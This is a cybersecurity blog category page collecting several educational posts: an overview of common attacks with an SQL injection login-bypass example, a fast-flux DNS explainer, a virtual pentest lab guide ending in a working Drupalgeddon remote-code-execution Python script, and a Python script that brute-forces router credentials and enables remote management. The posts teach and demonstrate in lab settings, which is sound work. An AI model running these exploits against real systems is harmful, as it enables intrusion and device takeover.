Securing Ninja

Category: Cybersecurity

7 Types of Cyber Attacks That Could Be Targeting You Right Now!
Welcome back to another informative article by SecuringNinja. Today we will explain the 7 most common types of cyber attacks that cyber criminals use everyday. Fear not, we will also share tips and tricks to protect against these types of cyber attacks.

Cyber criminals are continuously evolving their tactics and coming up with ever more creative ways to steal your personal information. Despite this constant evolution of tactics, there have been consistent trends in the types of attacks cyber criminals use.

The following 7 types of cyber attacks are some of the most common, and also the most dangerous.
Sounds scary right? Don’t worry. We are going to take a closer look at each type of attack, and show you some simple tricks for protecting yourself.

What is a phishing attack?

The first attack we will look at is a phishing attack. I’m sure you’ve already received quite a few phishing emails yourself, but lets take a look at what a phishing attack looks like.

A phishing attack is type of social engineering attack that cybercriminals use in order to extract information from you, or get you to take an action you normally would not take. This kind of attack typically begins with an email but may also come in the form of a phone call, or SMS message.

Example of a phishing attack.

The above example claims there is a picture of you on the linked website. Clicking the link leads to an innocent looking Twitter login form. Except this login form is actually controlled by the attackers. As soon as you submit your credentials the attackers can now login to your real Twitter account.

Cyber criminals will use a variety of psychological tricks to get you to click their link and enter your information. The example above is hoping to stir your curiosity enough that you just have to see this picture of you. Other techniques attempt to pressure you with a stressful situation, such as an impending account lock out.

While generalized phishing attacks hit almost everyone’s inbox at one point or another, there is another type of phishing attack that is much more difficult to detect.

Spear phishing attack

In a spear phishing attack, rather than sending generic phishing emails to a large mailing list of potential victims, cyber criminals will carefully research their target, their stressors, their personality, etc. and then send a very carefully crafted, and convincing, email to the victim.

Spear phishing attacks typically target individuals in high level positions such as the CEO or those with access to banking information.

Cyber criminals may also include information gathered from public sources, known as OSINT, to make the message that much more convincing. For example knowing that the CEO is currently traveling in Europe adds an extra layer of authenticity to the message.

How to protect against phishing attacks

Phishing attacks have only become more sophisticated and more difficult to detect over the years. However, there are still some common red flags that will identify phishing attempts.
- Hover over links to check that they go where you expect.
- Verify the sender and their email address.
- Is this kind of request typical of this sender?
- When in doubt call the sender and verify the request.
These simple tips will protect you against most common phishing attacks. Remember, security is a mind set and you must remain vigilant!

What is a man-in-the-middle attack?

A man-in-the-middle attack is a particularly nasty type of attack in which an attacker inserts themselves in the middle of your connection to a server. While you think you are communicating with facebook.com all of your traffic is actually being routed through a cybercriminals system allowing them to watch every action you take.

Example of a man-in-the-middle attack

A man-in-the-middle attack can be extremely dangerous because often times the user does not know they are communicating with the attacker and will happily enter their personal information.

Luckily there are a few simple measures you can take to protect yourself against a man-in-the-middle attack.

How to protect yourself against a man-in-the-middle attack
1. Prefer sites that offer HTTPS (look for the lock icon in your browser)
2. Use a VPN to send your traffic through an encrypted tunnel
3. Read and understand browser warnings!
Let us now look at each of these points in further detail. Beginning with step 1, you should always prefer sites that offer HTTPS. Most sites these days are secured with HTTPS so this is not as a big a problem as it once was. However server misconfigurations do occur so always check that a page is using HTTPS before entering sensitive information on a website.

HTTPS helps protect against man-in-the-middle attacks

While HTTPS encrypts the traffic between your computer and the web server, a VPN will encrypt all traffic leaving your computer and pass it through a VPN server in the cloud.

Read browser warnings!

Don’t just breeze through browser warnings! Your browser will warn you with a pretty obvious page if something is not quite right with the site’s SSL encryption (HTTPS).

Most of the time this occurs because the web administrator forgot to renew the certificate before the expiration date. The same warning can also occur when an attacker has inserted themselves in your connection and are using an invalid certificate. Ignoring the browser warning in this case would mean game-over for your privacy as the attacker can now see all your traffic as unencrypted plain-text.

While it is easy enough to see if a website is using an appropriate SSL certificate, the next attack requires a little bit more effort on the attacker’s part.

What is a SQL injection attack?

Any application or website that stores information from and about users will likely have some sort of database backend for storing information. Unfortunately, there are many poorly designed forms that do not properly sanitize user input. This can lead to attackers bypassing access checks (such as passwords) or even executing arbitrary commands on the server.

Let’s take a look at an example to see how a SQL injection attack works. For this example we’ll pretend we have a login form that accepts a username and password. If you want to follow along, make sure to download the SQL injection demo repository from Github.

Example SQL injection attack

Ordinarily when the user hits “Login” the application will take the field values, and execute a query that looks roughly like:
```
SELECT * FROM users
  WHERE user_name LIKE ''
  AND user_pass LIKE '';
```
Let us see what this looks like when we log in with our fictitious admin user. I say fictitious because surely no real admin has such a simple password…right?
```
SELECT * FROM users
  WHERE user_name LIKE 'admin'
  AND user_pass LIKE 'adminpassword';
```
If we get a result we know that user account ‘admin’ exists, and the password is correct.

A malicious password

What happens when a malicious attacker tries to gain access to this form? The need for proper input sanitization should immediately apparent. We can completely bypass the password check with a simple specially crafted password:
```
' OR 1=1;-- 
```
Now our query becomes:
```
SELECT * FROM users
  WHERE user_name LIKE 'admin'
  AND user_pass LIKE '' OR 1=1;-- ';
```
What happens now? The WHERE clause on the user_name will continue to function normally, but the real issue occurs when we check the password validity. Since the query OR 1=1; will always evaluate to TRUE, it does not matter what password is entered.

The addition of — after the end of our query is a SQL comment. Everything after the comment symbol is ignored. This is a handy trick for SQL injection attacks as it prevents any potential syntax errors with the rest of the query.

Preventing SQL injection with proper input sanitization

Obviously it is very bad news that the application executes any arbitrary SQL that is submitted. Luckily all it takes is a little of input sanitization and this problem can be alleviated. Sanitizing the previous malicious input gives us the following query:
```
SELECT * FROM users
    WHERE user_name LIKE 'admin' 
    AND user_pass LIKE '\' OR 1=1;-- ';
```
We see that our imaginary sanitization parser has escaped the leading quote. Now MySQL treats the input as a simple string. This is obviously a very simple example and there are many more ways to inject SQL.

This is exactly why user input sanitization is so important. What if the user wasn’t necessarily malicious? What if their username was d’angelo? How would the application handle that with sanitization.

A SQL injection attack depends on the application containing a specific vulnerability. The next type of attack however, can target nearly any kind of network device and unleash a massive headache for administrators.

Distributed denial of service: the nuclear option

A distributed denial of service (DDoS) attack attempts to disrupt the operation of a website or service by overloading the system’s capacity through a large volume of erroneous or irrelevant requests. Attackers will often use a botnet , or large network of compromised machines, to carry out the attack. This is where a distributed denial of service attack derives its name. This makes IP based black-listing difficult as the requests are coming from a vast number of different originating IP addresses.

A common protection method against DDoS attacks is to use a CDN that also provides DDoS mitigation such as CloudFlare. Using such a service they can detect and mitigate DDoS attacks as they occur. You may have even heard of the unprecedented DDoS attack carried out by IoT devices against krebsonsecurity.com in 2016. In this attack malicious actors targeted Brian’s site with 10’s of millions of compromised IoT devices, Tgenerating almost 620 Gbps of traffic!

Martin McKeay, Akamai’s senior security advocate, said the largest attack the company had seen previously clocked in earlier this year at 363 Gbps.

Overview of a distributed denial of service attack

What is a password attack?

Hackers may often come across leaked databases of usernames and password hashes. Attackers cannot login with these password hashes directly. With enough time and computing power however, persistent attackers can break the hashes and recover the original password. This then allows the hackers to login to the service that the password protects.

Another method is to attack the login form directly with good old fashioned brute force. Brute force is essentially guessing with the hopes of finding the correct password. Do not be fooled. Brute-force password guessing is still one of the most common ways that attackers compromise accounts.

Rather than trying ever single possible combination of characters, numbers, and symbols, attackers will often start with common password lists. These lists have been accumulated over a large number of breaches, and are often sorted to put the most common passwords towards the top. This significantly reduces the time it takes to crack any accounts using simple or default passwords. You can pretty much guarantee if your password is ‘password’ your account is already compromised.

We used this same method when taking over a router with brute-force. While that example was on a much smaller scale, the attack remains the same.

What is a cross-site scripting attack?

Cross-site scripting (XSS) is when embedded code on one site can take within the users browser. Such an attack is often used to exploit the victim, or steal cookies allowing attackers to impersonate the victim.

Let us take a closer look at how a cross-site scripting attack works. XSS is what is known as a client site code-injection attack. This means that the code is run in the victims browser. But how does the code get there in the first place? Well, unfortunately many sites online today are vulnerable to XSS right now. Popular targets include discussion boards or forum sites. These sites often do not properly sanitize user input before displaying messages and comments. This is all good and well when you have properly behaving users that use only text and funny cat images. But what if an attacker decided to post a bunch of malicious Javascript code rather than a thoughtful comment? This code, if not properly sanitized, could run in the browser of any one that visits that page.

Preventing a cross-site scripting attack

Similar to a SQL injection attack, a cross-site scripting attack depends on a vulnerability in the application. Proper design practices and user input sanitization are key to preventing a cross-site scripting attack.

What is a ransomware attack?

In a ransomware attack a cyber criminal will attempt to infect a user’s machine using a malicious piece of software known as ransomware. Ransomware has quickly become one of the most dangerous and damaging types of cyber attacks in use today. Once installed the software will begin to encrypt the users’ files with a strong encryption algorithm. The ransomware leaves the operating system and vital drivers alone so that the machine will continue to operate. The software leaves a ransomnote for the user. The note usually informs the user that their files have been encrypted and they will need to pay a ransom in order to unlock their files.

Example of the ransom note displayed by WannaCry

Security researchers have found ways to reverse the encryption on many popular ransomware variants. Cyber criminals however are continuing to evolve their tactics on a daily basis and it takes time to decompile and analysis the ransomware in order to even attempt to begin decryption. The best method to protect yourself from ransomware is to maintain a good clean back up. This will allow you to restore your files and not need to pay the ransom.

Perpetuating the cycle

Paying the ransom perpetuates the cycle as cybercriminals will continue to develop ransomware as long as it is profitable.

That is why many security professionals have said that the best way to stop these types of cyber attacks is to not pay the ransom. If the money dries up extorting victims the cyber criminals will look to other methods to finance their activities.

Ransomware attacks focus on larger targets

Ransomware has also become a plight of many small businesses and small municipalities or local governments. These organizations usually have lower budgets for security and lower awareness overall. This makes them easy targets for cyber criminals who can now demand a higher ransom. An individual may consider their family photo collection priceless, but that doesn’t mean they have $10k to fork over to decrypt. A school district whose records were encrypted? Much more likely.

Staying safe. Staying cyber-secure.

While it may seem like an up-hill battle staying secure in today’s evolving threat landscape is all about the mindset. By learning about the most common types of cyber attacks you are arming yourself with the knowledge you need to protect yourself from cybercriminals. Be mindful of the information you give out, and always think about the potential security repercussions of your actions.

If you are interested in cybersecurity you may enjoy our other articles:
Also keep an eye out for our follow up articles where we deep-dive these types of cyber attacks in further detail!
April 16, 2020
Fast Flux DNS: What is it? How does it work?
Cyber criminals are using ever sneakier tactics to avoid detection of their botnets and C&C servers. One such tactic botnet masters are using is fast-flux DNS. Fast-flux DNS was originally implemented by the Storm Worm botnet masters in 2007. Since then, numerous malware variants have used fast-flux DNS to avoid detection by the authorities.

Fast-flux DNS involves associating many IP addresses with a single fully qualified domain name (FQDN). Botnet masters rotate the IP addresses in this pool at high frequencies, sometimes as often as once every 5 minutes. Thereby creating an ever changing network of compromised hosts known as fast-flux agents. Cybercriminals use this DNS technique to obscure the true origin of malicious sites and other resources. This allows C&C infrastructure to stay online for longer periods of time.

In a fast-flux network the command and control infrastructure is often referred to as the mothership. The mothership consists of numerous backend servers that each facilitate the operation of the botnet.

When a compromised host attempts to communicate with the mothership, it first makes a request to a fast-flux agent. The fast-flux agent then transparently proxies the request to the mothership.

What is a fast-flux network?

We know that fast-flux works by rapidly changing IP addresses assigned to a domain name. Now let us take a deeper look at how this is accomplished.

There are two types of fast flux networks:
- Single-flux
- Double-flux
Single-flux networks

Single flux DNS works by rapidly assigning multiple A or AAAA records to a domain name and constantly rotating the active IP addresses. These IP addresses belong to compromised hosts which are known as fast-flux agents.

Each fast-flux agent acts as a reverse proxy to the command and control infrastructure. When a compromised host resolves the domain name of its C2 infrastructure, the name server sends the IP of a fast-flux agent. This keeps the mothership hidden behind a vast network of ever changing proxy servers. As such, a compromised host only ever communicates directly with a fast-flux agent, never with the C&C servers.

In single-flux networks the authoritative name server is often hosted on bullet-proof hosting to further increase resistance against takedown. Operators of bullet proof hosting services typically reside in areas with little to no established cybersecurity laws and generally do not comply with takedown requests.

This makes it very difficult for security researchers to identify and take down the C&C servers. Even if a fast-flux agent is identified and taken offline, another node is always ready to take its place.

Double-flux networks

With single-flux only the domain’s A records are changing. Double-flux networks add an additional layer of misdirection by also changing the authoritative name server records. Network masters rotate not only the A records, as with single flux, but also the NS addresses. When an infected client attempts to resolve the domain name, it first gets the IP address of the authoritative name server. This is just another fast-flux agent which forwards the DNS request on the to the C&C servers which handle the DNS resolution.

Fast-flux provides an intricate web of misdirection making detection difficult, and take-down almost impossible.

With an ever changing network of endpoints and name servers there is no single point of failure in the network. Shutdown a node serving requests for a malicious website, another pops up to take its place. Shutdown the name server serving DNS requests for a malicious domain, another name server steps in and starts serving requests.

What are fast-flux networks used for?

As you can see, fast-flux networks are quite powerful in their resilience. Botnet masters may have thousands of fast-flux agents at their disposal allowing them to create massive proxy networks.

This resilience and protection makes fast-flux networks the tool of choice for attackers looking to serve any less than legit content. Cybercriminals use fast-flux networks for serving malicious downloads, phishing sites, illegal marketplace sites, and even worse things such as sites dealing in child pornography and sex trafficking.

The sensitive or malicious material is stored on the mothership. The fast-flux network acts as a layer of reverse proxies disguising the true origin of the malicious files. This is what makes the fast-flux network so powerful. Authorities are only ever able to shutdown a fast-flux node, not the actual backend content. As soon as another node takes its place, the content is available again.

How do fast-flux networks work?

Network masters typically divide their fast flux networks into 2 or more sub-networks. The main hosting sub-network is used for directing traffic to phishing sites, or other malicious content. While the secondary C2 sub-network is used for managing and monitoring the botnet.

Single-flux example

Let’s take a look at a simple example of how a compromised host may contact its command and control infrastructure. In this example let’s assume that the domain name of the command and control channel of the mothership is c2.mother.ship.

First the compromised host makes a DNS request (1) to look up the address associated with the command and control domain, c2.mother.ship.

Single-flux network example

The name server returns the IP address of a fast-flux agent. The compromised host then makes a request to the fast-flux agent (2). When the fast-flux agent receives the request it transparently forwards the request on to the C2 server (3). The C2 server returns the appropriate content to the fast-flux agent. Finally, the fast-flux agent returns this content to the compromised host. The compromised host does not even know the C2 server actually exists. It only ever communicates with one of the thousands of fast-flux agents.

Of course this is a simplified example. In a real world fast-flux network requests are often routed between multiple different fast-flux agents before finally reaching the command and control server.

Double-flux example

Now that we have seen single-flux in action, let us take a look at how double-flux works with another example. Once again our infected host tries to contact c2.mother.ship. In order to locate the authoritative name server, the infected host first queries the .ship TLD for the authoritative name server for the c2.mother.ship domain (1).

Double-flux network example

The .ship TLD server responds with the address of a fast-flux agent as the authoritative NS. Now the infected host sends a DNS query (or more accurately, the infected host’s DNS resolver) to the fast-flux agent (2). This fast-flux agent forwards the DNS request on to the mothership for resolution (3). The mother ship sends back the IP address of a fast-flux agent active on this domain. Once the infected host receives the IP address of the fast-flux agent, it makes a request to that agent (4). That agent once again forwards the request to the mothership and responds with the content served by the mothership (5).

Detecting fast-flux networks

The very nature of fast-flux networks makes them difficult to investigate. It may take years for teams to finally track down the mothership and dismantle the botnet. Fast-flux networks typically span many countries meaning varying levels of regulations apply. Dealing with cross-border bureaucratic red tape slows many investigations to a crawl. This is why some botnets such as Avalanche remained operational for years before they were finally shutdown.

Interested in how a host gets compromised in the first place? Check out my article on the cyber kill chain, the sequence of events from reconnaissance to compromise and beyond.

We hope you’ve enjoyed taking an in-depth look at the fast-flux DNS technique. Leave us your thoughts in a comment below!
February 2, 2020
How to Build a Virtual Penetration Testing Lab
As a penetration tester it is important to have a controlled environment in which to hone your skills and test new techniques. Testing on systems you do not own is illegal, even if it is just harmless curiosity. In this article I will show you how to build a virtual penetration testing lab using VirtualBox, Kali Linux, and Ubuntu.

In this lab you can test, and hack away without worrying about the men in black showing up at your door. Plus, in a virtual environment you can carefully monitor each system’s behavior during an attack giving you further insight into how an exploit compromises a system.

In addition, with a virtual network you can clone and snapshot instances with just a few clicks and easily create new pre-configured hosts. This allows you to try many different techniques in a short period of time, and always start from the same base configuration.

Below are the steps we will take to create the virtual penetration testing lab.
Install VirtualBox

First, you will want to grab a copy of VirtualBox and run through the installation for your OS. VirtualBox is a fantastic virtualization tool and provides a rich feature set for operating virtual machines.

Our entire virtual penetration testing lab will be hosted in VirtualBox. This keeps the host system nice and tidy. Most PCs these days can easily support 2 or even 3 Linux guest VMs hosting a simple web server for example.

VirtualBox also provides snapshot capabilities allowing VM states to be stored and recalled with the click of a button.

Set up the Virtual Network

Once we’ve got VirtualBox installed we need a network for our machines to live on. To keep the lab isolated we will want the machines to be restricted to a dedicated private network. VirtualBox makes this easy with the NAT Network. With a NAT Network all of our lab machines can easily communicate with one another while also having NATed access to the Internet.

If you haven’t set up a NAT Network before read on below. It is a little different from the other VirtualBox networking options but I will show you how to set up a NAT Network in VirtualBox.

First you will need to create the network itself. This is done under VirtualBox > Preferences. Select the Network tab and then add a new network.

Double-clicking the newly created network allows you to configure the subnet IP range, the name of the network, and DHCP options. For now the defaults are fine but go ahead and rename the network if you wish.

I like the NAT Network option best as it provides each of the VMs with a NATed Internet connection. It also places each of the VMs on the same private network allowing our lab machines to easily communicate with one another. Now let us fill our penetration testing lab with some machines.

Create the Kali Host

Kali Linux is a fantastic distribution loaded with all sorts of penetration testing tools. I like to have a Kali host on my lab network either for launching attacks or fingerprinting hosts.

Kali is a breeze to install with the pre-made VirtualBox image. Follow our in-depth tutorial to Install Kali LInux in Virtual Box on Mac. Check that guide out if you need some extra help, otherwise the basic steps are listed below.

Download the Kali VirtualBox image from the Offensive Security downloads page.

The downloaded file is a VirtualBox appliance file. After the download completes, open VirtualBox and select File > Import Appliance…

The default user for the appliance is root with a default password of toor.

Now let us add some targets to the lab network.

Build the Base Ubuntu Image

Ideally we want the virtual pentesting lab to be as re-useable as possible. I use VirtualBox appliances for this. An appliance packages up your virtual machine as a single file including all the machine settings and the current machine state. This appliance file can be imported as many times as needed to create a new virtual machine.

I use Ubuntu for this base machine. Ubuntu is widely supported, and an easily configured OS.

Lets start by setting up a base Ubuntu virtual machine, and then I will show you how to create an appliance out of it.

Download Ubuntu

Download the Ubuntu ISO. The minimal version is fine, but grab the standard version if you prefer a full graphical desktop.

Create the VM

While the ISO is donwloading create a new virtual machine.

Once the ISO has downloaded, insert it into the virtual machine.

Install Ubuntu

Start the VM and run through the Ubuntu installation process. For a base box most of the defaults are fine and give you a clean minimal Ubuntu installation.

There are plenty of installation tutorials available for Ubunut and VirtualBox so I won’t go into detail here. Google is your friend.

Remember, you’ll only have to step through this installation once!

Tweak the Machine

At this point you could stop and create an appliance. However you may also wish to perform a few more customizations for your base appliance.

For example, you could install your preferred text editor (mine’s vim!), install a default set of base packages, or just customize the shell prompt.

Export the Appliance

Once you have finished tweaking your base box it is time to export the appliance. This is as simple as File > Export Appliance. Tweak any options, and put this file somewhere for later.

Now whenever you need a new host in the lab, you can import this appliance. This will save you considerable time as you won’t have to go through the same initial configuration over and over for each host.

Hacking Drupal

That is pretty much all we need for a basic penetration testing lab. We have a master host for launching and monitoring attacks. We have also created a re-useable base appliance for easily creating test targets.

Now I will run through an example exploit using our new penetration testing lab. I will demonstrate one of the DrupalGeddon vulnerabilities that were discovered in early 2018. You may want to start by reading the analysis of the vulnerability.

For this example we will set up a base web server running a vulnerable Drupal installation.

We will then use a simple Python script on the Kali host and exploit the vulnerability.

Creating the Target Host

If you don’t have any Ubuntu VMs running, grab your appliance and spin up a new VM. Log in to your target virtual machine to begin the setup.

The Drupalgeddon vulnerability came out quite some time ago so we will need to install some repositories first.
```
# Install php5.6 repository
apt-get install software-properties-common
add-apt-repository ppa:ondrej/php
apt-get update

# Install php5.6 packages
apt-get install php5.6 php5.6-gd php5.6-xml php5.6-mysql php5.6-mbstring
```
Now we can install the Apache web server and the MySQL database
```
# Install Apache and MySQL
apt install apache2
apt install mysql-server

# Restart apache2
service apache2 restart

# Restart mysql
service mysql restart

# Secure mysql installation
mysql_secure_installation
```
Now let’s create the database and user.
```
# Use mysql command to enter the mysql console
mysql

# Then create the database and user
mysql> CREATE DATABASE databasename CHARACTER SET utf8 COLLATE utf8_general_ci;
mysql> CREATE USER username@localhost IDENTIFIED BY 'password';
mysql> GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER, CREATE TEMPORARY TABLES ON databasename.* TO 'username'@'localhost' IDENTIFIED BY 'password';
```
After we have installed the required packages, we can begin to install Drupal.

Simply download and extract the Drupal archive, and then pull up the site in a browser to complete the installation.
```
cd /var/www/html/
wget https://ftp.drupal.org/files/projects/drupal-7.57.tar.gz
tar -xzvf drupal-7.57.tar.gz
cd /var/www/html/drupal-7.57/
cp sites/default/default.settings.php sites/default/settings.php
cd /var/www/html/
chown -R www-data:www-data drupal-7.57/
```
If you need the private IP of the server you can use the following command.
```
# Get the server private IP
ifconfig
```
Now navigate to the IP of your VM in a browser. You should be greeted by the Drupal installation page.

Once you reach the database configuration page, enter the database user details for the user you created earlier.

After the installer is complete you can check out your fresh new homepage.

If we check the status report, we can see that we are in fact running Drupal 7.57. Now let us have some fun with this!

Exploiting the Target

Now that we have a vulnerable target set up, let us get to work exploiting it.

The following is a simple Python script that will exploit the vulnerability and demonstrate remote code execution. Be sure to check out the vulnerability analysis if you aren’t sure how the script works.

This vulnerability gives us the ability to execute arbitrary code on the target server. We could use this to do some pretty nasty things, but lets just make a tiny modification to index.php.

The ‘shell_code’ variable holds the code that we are injecting into index.php. This is just a simple Javascript alert that will show any time the page is loaded. I’ll leave it up to you to see what else you can do with this vulnerability.
```
#!/usr/bin/python

import requests
import re
import base64

target='192.168.56.9/drupal-7.57'
shell_code = "echo \"<script>alert('Ouch. Time to patch. ');</script>\";"
encoded_cmd = base64.b64encode(shell_code)
bashcmd = "echo " + encoded_cmd + " | base64 -d >> index.php"
print bashcmd
target_url = '/?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=' + bashcmd
payload = "form_id=user_pass&_triggering_element_name=name"

url = 'http://' + target + target_url
url = url.replace('#', '%23')
url = url.replace(' ', '+')
print url

headers = {'content-type': 'application/x-www-form-urlencoded'}
r = requests.post(url, headers=headers, data=payload)
body = r.text

# Extract form id from body
m = re.search('form_build_id" value="(form-.*)"', body)
form_build_id = m.group(1)

trigger_url = 'http://' + target + '/?q=file/ajax/name/#value/' + form_build_id
trigger_url = trigger_url.replace('#', '%23')
trigger_url = trigger_url.replace(' ', '+')
payload = "form_build_id=" + form_build_id

# Trigger the exploit
r = requests.post(trigger_url, headers=headers, data=payload)
```
Run the script and head on over to your browser. You should see the Javascript alert pop up when the page reloads.

And there you have it. We’ve just exploited Drupal in our virtual penetration testing lab.

Benefits of a Virtual Penetration Testing Lab

We’ve already covered how easy it is to create and snapshot hosts. We can also use Wireshark to monitor network traffic on our lab network.

To do this, open Wireshark on your host machine (the one running VirtualBox). After that, select the NAT Network you created (mine is named vboxnet0) from the available interfaces list.

Wireshark is a great tool for monitoring traffic in your virtual penetration testing lab.

Wireshark now shows you all the traffic passing between your lab machines. This is extremely useful when debugging an exploit, or assessing a vulnerability.

Something Extra

The best part of a virtual penetration testing lab is the versatility it provides.

Metasploitable2 is a vulnerable virtual machine that can easily be added to your lab.

I go through the installation process in my article: How to Install Metasploitable in VirtualBox

Or you can grab the download on Sourceforge.
January 31, 2020
Inside a Brute Force Router Takeover
Routers provide access to the Internet for millions of users, but hackers are also using routers to gain access into your home network. In this article I expose the dangers of default credentials by performing a brute force router takeover.

Many modern home routers offer a remote management feature, and luckily router manufacturers have stopped enabling this by default. It is not very difficult to activate this functionality. Once enabled an attacker can access and modify any settings on your router from anywhere in the world. Worst of all, your router will not give any indication that it has been compromised until it is far too late.

I decided to spend the weekend attempting to exploit this feature in my home router, a NETGEAR WNDR4300. This article will cover the analysis of the router administration pages. I then describe the development of a Python script to programmatically enable remote management. This example of a brute force router takeover will make you want to change your default router credentials if you haven’t already! In the follow up article I will cover how this same functionality may be exploited by a weaponized website.

Disclaimer

When analyzing cybersecurity it is often useful, and even critical to take the mindset of an attacker. This should not be interpreted as an endorsement for illegal cyber activities. I take no responsibility for anything you do with this information. I provide it only with the hopes that it will enhance your knowledge of cybersecurity. Hacking networks and routers that you do not own is illegal unless you have express permission from the owner to do so. Always run your experiments in a controlled test environment that you own or have permission to use.

With that bit out of the way, let’s get started!
If you would like to download the code developed in this article and follow along head on over to Github and download it there: PORTAL on Github

Analyzing the Administration Pages

I started this brute force router takeover by pulling up my router administration page and logging in, but not before starting Wireshark to sniff HTTP traffic. The administration console all operate with plaintext HTTP. This made it very easy to sniff the packets in Wireshark.

Like most routers, my router also uses basic authentication to access the router administration pages. Default credentials are available for most routers on the Internet, and I’m willing to bet you haven’t changed yours.
This was the first piece of the puzzle I wanted to test. I decided to use the Python Requests library to test if I can authenticate against the router. Requests even has a shortcut method for passing basic authentication credentials shown below.
```
>>> import requests 
>>> r = requests.get('http://admin:password@192.168.1.1/index.htm') >>> r.status_code
200
```
Perfect! HTTP status 200 means we have authenticated successfully. With this bit working, I knew I could easily loop through a few password lists to test default router credentials.

Enable Remote Management

The next piece of the puzzle is to figure out exactly how remote management is enabled. I navigated to this section of the administration pages and pulled up the page source in my browser.

Remote management form data

My router uses a combination of HTML frames and Javascript to display the administration pages. The remote management settings are a simple form which get submitted to /apply.cgi.
```
<form method="POST" action="/apply.cgi?/FW_remote.htm timestamp=75866660299840" target=formframe>
```
The administration page that is being edited is passed as a URL parameter, in this case /FW_remote.htm. There is also an additional parameter called timestamp. If you are a curious type and plug this timestamp into a UNIX timestamp converter you may find that it corresponds to a date of February 13, 4374. That doesn’t seem right…

Refreshing the page changed the value, but not as one might expect for a timestamp. It was a completely new random number with another random date.

Form Tokens

This strangely behaving timestamp led me to believe that it wasn’t a timestamp at all. I began to suspect it was a type of form token to prevent automated attacks against the form. I copied the HTML out of the browser and recreated the form in a simple HTML file on my local machine.

Submitting the form in my browser correctly enabled remote management. If I try to submit the form again however, the request fails. This makes sense if the timestamp is in fact a token as it would have already been ‘used’ in the first request.

I went back over to the page source for the administration page and refreshed so I could grab a new token. I copied this new token into my local HTML form and tried submitting the form again. Once again I had successfully enabled remote management on the router.

In summary: The router serves up the administration page with a unique timestamp value in the form target. This same token must be present when submitting the form or the request will fail.

The timestamp parameter I discovered in this form is in fact the form token. This is a minor nuisance as we can still load the page initially and scrape the timestamp value before submitting our form.

Automating the Attack

Surely we can’t be expected to try each combination of user and password manually! This is where can leverage just a little bit of Python.
The first step is determining the correct credentials to use. Luckily these passwords are usually left as the default and are freely available online. We start by having our Python script load data from two sets of files, users.txt and passwords.txt. These values are simply stored in a Python list.

Python: load username and password files
```
# Empty lists of usernames and passwords 
user_names = [] 
passwords = [] 
# Load usernames 
f = open('users.txt','r') 
data = f.readlines() 
# Strip removes the newline from the end of each row 
user_names = [user.strip() for user in data] 
# Load passwords 
f = open('passwords.txt','r') 
data = f.readlines() 
# Strip removes the newline from the end of each row 
passwords = [password.strip() for password in data] 
# Print the loaded information 
print 'Loaded users: {}'.format(user_names) 
print 'Loaded passwords: {}'.format(passwords)
```
We then use a nested for loop to iterate through each password for each username. Each iteration through the loop we test the next user and password combination and submit the request to the router IP.
```
# For each username... 
for user in user_names: 
  # Test each password... 
  for password in passwords: 
    # Test username and password here
```
If we receive a 200 response, we can assume we figured out the credentials most of the time (more on this later). During testing I started with a single username, and only two passwords. A correct one, and an incorrect one.
The Python script tests the first, incorrect password, receives a 401 response, and then proceeds to try again with the second, correct, password. At this point the script receives a 200 response and stores the user and password combination as verified_user and verified_pass.

False Positives

It wasn’t until I began running more realistic tests with an increased combination of usernames and passwords that I noticed something odd. It seemed as though it would always succeed on the fourth attempt regardless of which password was used. I added a debug statement to the code which dumps out the received HTML content on each response.

It turns out after 3 failed login attempts my router does not respond with a 401 status code. Instead it responds with a 200 status code, and an Unauthorized Access page. My code only performed checks on the returned status code resulting in a false positive. The page that is returned simply has 401 Unauthorized in the title, so I added an additional check in for this string in the response body.

With this modification my script happily tested passwords until it actually received the correct one.

False Negatives

From time to time it also appeared that the script would never find the correct password. I assumed this was due to the speed with which I was sending requests. I added a small delay to the main loop and performance increased drastically.

Opening the Portal

Now that we are able to successfully access the router administration pages, it is time to see what we can alter. Ideally we want to open a remote management port on the Internet side of the router. This allows us access the router whenever we want with out depending on the users machine. As we saw in the initial analysis, enabling remote management is a simple matter of submitting an HTML form with the correct ‘timestamp’ token.
The first step is getting the code to load the administration page we are after, and scraping the timestamp value from the response. The code below shows the page request process and the use of a simple regex to extract the timestamp value. This piece of the code runs as it iterates through the username and password values. If the correct username and password is found, the timestamp value is extracted.

Python: brute force passwords
```
# Build full URL with username and password from list 
url = 'http://{}:{}@{}/{}'.format(user, password, target_ip, target_page) 
# Retrieve URL 
r = requests.get(url) 
# If we authenticated successfully, extract timestamp 
if r.status_code == 200 and '401 Authorization' not in r.text:
  print '[+] Found correct user and password: {}:{}'.format(user, password) 
  verified_user = user 
  verified_pass = password 
  # Use a regex to extract the timestamp value 
  m = re.search('timestamp=(.*)\"', r.text) 
  if m: 
    timestamp = int(m.group(1)) 
    print '[+] Found timestamp: {}'.format(timestamp) 
    # We have what we need, break out of the loop 
    break
```
With the timestamp in hand we need the code to craft the request, and send it! We already have the required form fields, and the correct URL for submitting our POST request from our previous analysis. Below shows the snippet of code responsible for enabling remote management on the router.

Python: enable remote management
```
# Page URL with timestamp from above 
page = 'apply.cgi?/FW_remote.htm%20timestamp={}'.format(timestamp) 
# Complete URL with username and password determined earlier 
url = 'http://{}:{}@{}/{}'.format(verified_user, verified_pass, target_ip, page) 
# Form data to enable remote management (extracted from Wireshark sniffing) 
# We include http_rmport as a variable so we can use a custom value in the future. 
data = { 'submit_flag': 'remote', 'http_rmenable': '1', 'local_ip': '...', 'remote_mg_enable': '0', 'rm_access': 'all', 'http_rmport': str(rmport) } 
# Submit the request! 
r = requests.post(url, headers=headers, data=data)
```
I ran the code and quickly popped over to my browser to check. Sure if enough, remote management was enabled!

A Complete Brute Force Router Takeover

Well, there you have it, a brute force router takeover. We have successfully developed a Python script to brute force basic authentication credentials on router administration pages. The script also enables remote management automatically. If you would like to download the code developed in this article head on over to Github and download it there: PORTAL on Github

If you make improvements to this code, or support additional routers, please submit a pull request. Drop me a comment below if you have any questions at all, or if you found this code useful!
So, are you still using default credentials on your router?

If you enjoyed reading this article I highly recommend checking out my other posts covering topics from Linux, to finance, and even horticulture!
January 31, 2020
Understanding the Cyber Kill Chain in the Cloud
The cyber kill chain defines the lifecycle of a cyber attack and identifies various phases during a system intrusion. Although there are numerous interpretations of the cyber kill chain, the most basic form consists of seven stages. In this post I describe these seven stages of the cyber kill chain and how it applies in the cloud.

Although some interpretations may use slightly different names for the various stages, the overall concept remains the same.

The basic seven stages of the cyber kill chain are:
- Recon
- Weaponize
- Deliver
- Exploit
- Install
- Callback
- Persist
